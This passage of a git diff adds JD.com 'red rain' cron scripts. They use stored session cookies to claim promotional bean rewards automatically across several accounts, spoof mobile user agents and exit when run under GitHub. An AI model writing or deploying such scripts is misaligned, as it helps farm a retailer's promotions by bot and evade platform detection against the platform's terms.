re.findall(r"pt_pin=(.*?);", ck)[0] + name='' + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + name=remarkinfos[ptpin] + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + name=urllib.parse.unquote(ptpin) + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + name=urllib.parse.unquote(ptpin) + #主程序部分 + UserAgent=randomuserAgent()#执行前先随机获取一个UserAgent + redpacketinfo(ck,name) + time.sleep(5) + #主程序部分 \ No newline at end of file diff --git a/jd_redrain.js b/jd_redrain.js new file mode 100644 index 0000000..aaf4f23 --- /dev/null +++ b/jd_redrain.js @@ -0,0 +1,301 @@ +/* +整点京豆雨 +更新时间:2022-1-24 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +by:msechen +github:https://github.com/msechen/jdrain +频道:https://t.me/jdredrain +交流群组:https://t.me/+xfWwiMAFonwzZDFl +==============Quantumult X============== +[task_local] +#整点京豆雨 +0 * * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, tag=整点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "0 * * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js,tag=整点京豆雨 +================Surge=============== +整点京豆雨 = type=cron,cronexp="0 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js +===============小火箭========== +整点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, cronexpr="0 * * * *", timeout=3600, enable=true +*/ +const $ = new Env('整点京豆雨'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +let jd_redrain_activityId = ''; +let jd_redrain_url = ''; +let allMessage = '', message = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_redrain_activityId) jd_redrain_activityId = process.env.jd_redrain_activityId + if (process.env.jd_redrain_url) jd_redrain_url = process.env.jd_redrain_url + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (!jd_redrain_activityId) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:本地红包雨配置获取错误,尝试从远程读取配置\n`); + await $.wait(1000); + if (!jd_redrain_url) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); + return; + } + let RedRainIds = await getRedRainIds(jd_redrain_url); + for (let i = 0; i < 1; i++) { + jd_redrain_activityId = RedRainIds[0]; + } + } + if (!jd_redrain_activityId) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); + return; + } + let codeList = jd_redrain_activityId.split("@"); + let hour = (new Date().getUTCHours() + 8) % 24; + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:龙王就位: ${codeList}\n\n准备领取${hour}点京豆雨\n`); + for (let codeItem of codeList) { + let ids = {}; + for (let i = 0; i < 24; i++) { + ids[String(i)] = codeItem; + } + if (ids[hour]) { + $.activityId = ids[hour]; + $.log(`\nRRA: ${codeItem}`); + } else { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:无法从本地读取配置,请检查运行时间\n`); + return; + } + if (!/^RRA/.test($.activityId)) { + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:RRA: "${$.activityId}"不符合规则\n`); + continue; + } + for (let i = 0; i < 5; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n${tswb}`); + } + continue + } + await queryRedRainTemplateNew($.activityId) + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +// 查询红包 +function queryRedRainTemplateNew(actId) { + const body = { "actId": actId }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=queryRedRainTemplateNew&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryRedRainTemplateNew api请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data); + await doInteractiveAssignment(data.activityInfo.encryptProjectId, data.activityInfo.encryptAssignmentId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 拆红包 +function doInteractiveAssignment(encryptProjectId, encryptAssignmentId) { + const body = { "encryptProjectId": encryptProjectId, "encryptAssignmentId": encryptAssignmentId, "completionFlag": true, "sourceCode": "acehby20210924" }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=doInteractiveAssignment&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment api请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode == "0") { + //console.log(`${data.rewardsInfo.successRewards[3][0].rewardName}`); + message += `领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } else { + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getRedRainIds(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_redrain_half.js b/jd_redrain_half.js new file mode 100644 index 0000000..85c0be1 --- /dev/null +++ b/jd_redrain_half.js @@ -0,0 +1,298 @@ +/* +半点京豆雨 +更新时间:2022-1-11 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +by:msechen 感谢小手大佬修改接口 +==============Quantumult X============== +[task_local] +#半点京豆雨 +30 21,22 * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_live_redrain.js, tag=半点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "30 21,22 * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js,tag=半点京豆雨 +================Surge=============== +半点京豆雨 = type=cron,cronexp="30 21,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js +===============小火箭========== +半点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js, cronexpr="30 21,22 * * *", timeout=3600, enable=true +*/ +const $ = new Env('半点京豆雨'); +let allMessage = '', id = ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let jd_redrain_half_url = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_redrain_half_url) jd_redrain_half_url = process.env.jd_redrain_half_url + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + if (!jd_redrain_half_url) { + $.log(`尝试使用默认远程url`); + jd_redrain_half_url = 'https://raw.githubusercontent.com/Ca11back/scf-experiment/master/json/redrain_half.json' + } + let hour = (new Date().getUTCHours() + 8) % 24; + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:正在远程获取${hour}点30分京豆雨ID\n`); + await $.wait(1000); + let redIds = await getRedRainIds(jd_redrain_half_url) + if (!redIds || !redIds.length) { + $.log(`尝试使用cdn`); + jd_redrain_half_url = 'https://raw.fastgit.org/Ca11back/scf-experiment/master/json/redrain_half.json' + redIds = await getRedRainIds(jd_redrain_half_url) + if (!redIds || !redIds.length) { + $.log(`默认远程url获取失败`); + return + } + } + for (let id of redIds) { + if (!/^RRA/.test(id)) { + console.log(`\nRRA: "${id}"不符合规则\n`); + continue; + } + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:龙王就位:${id},正在领取${hour}点30分京豆雨\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await queryRedRainTemplateNew(id) + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +// 查询红包 +function queryRedRainTemplateNew(actId) { + const body = { "actId": actId }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=queryRedRainTemplateNew&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryRedRainTemplateNew api请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + await doInteractiveAssignment(data.activityInfo.encryptProjectId, data.activityInfo.encryptAssignmentId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 拆红包 +function doInteractiveAssignment(encryptProjectId, encryptAssignmentId) { + const body = { "encryptProjectId": encryptProjectId, "encryptAssignmentId": encryptAssignmentId, "completionFlag": true, "sourceCode": "acehby20210924" }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=doInteractiveAssignment&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment api请求失败,请检查网路重试`) + } else { + if (data) { + if (data.subCode == "0") { + console.log(`${data.rewardsInfo.successRewards[3][0].rewardName}个`); + } else { + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" + } + } +} + +function getRedRainIds(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + 